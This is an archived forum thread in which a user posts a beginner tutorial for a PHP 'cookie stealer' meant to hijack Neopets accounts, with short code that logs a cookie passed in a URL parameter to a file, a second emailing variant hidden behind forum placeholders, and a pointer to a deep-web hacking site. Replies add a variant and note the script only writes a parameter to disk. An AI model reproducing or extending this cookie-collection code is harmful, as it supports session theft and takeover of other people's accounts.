PDA

View Full Version : [php] INTRODUCTION - A simple Cookie Stealer



Poe
01-26-2013, 12:35 AM
Hello blokes and welcome to my first English tutorial for Clraik.
Oh sorry if my english is a little shite (with a British twist chap). Would you like to help me? :sad:
Anyroad let's go to the guide.

First...
Wot the bloody hell is this blighter thing chap? Well A CG (Cookie grabber) or CS (Cookie Stealer) is a link that a victim can click and it grabs the saved data (cookies) that are in his computer, including usarnames or passwords. It can be used to steal cookies and hack into Neopets accounts.

Now WOT the fucking hell do I do with this blighter?
Oh well here is the simple cs code to store in a file:

<?php
$cookie = $[Only registered and activated users can see links]["cookie"];
$steal = fopen("cookiefile.txt", "a");
fwrite($steal, $cookie ."\\n");
fclose($steal);
?>

$cookie = $[Only registered and activated users can see links]["cookie"]: This grabs the cookies from the url (stealer.php?cookie=x) and store it on $cookie variable.

$steal = fopen("cookiefile.txt", "a"): Open the cookiefile in append mode so that we can append the grabed cookies.

fwrite($steal, $cookie ."\\n"); This will store the grabbed cookies on the file cookies.txt


And there is another version (I preffer this one)


<?php
[Only registered and activated users can see links]
?>
the cookies will store on "yourbloodyemail" kay



This is just a veryvery simple and basic "introduction" guide, and it won't work on Neopets, but if you are interested REALLY then study it for yourself.

There is a LOVELY site great for studying about hacking on deepweb. Enjoy it. <3
(REQUIRES tor brwoser)
[Only registered and activated users can see links]

Graff
01-26-2013, 01:01 AM
Whoa... I've heard about the deepweb, but I've never visited it...

Zachafer
01-31-2013, 12:27 PM
The first snippet using file_put_contents:

<?php

[Only registered and activated users can see links]
[Only registered and activated users can see links]

?>

Josh
02-12-2016, 02:27 AM
Im late as hell.

But "cookie stealer" is not the right phrase for this script. All this does is write to a text file. Make the "cookie" varible "taco", and it writes the word taco. This has nothing to do with stealing cookies.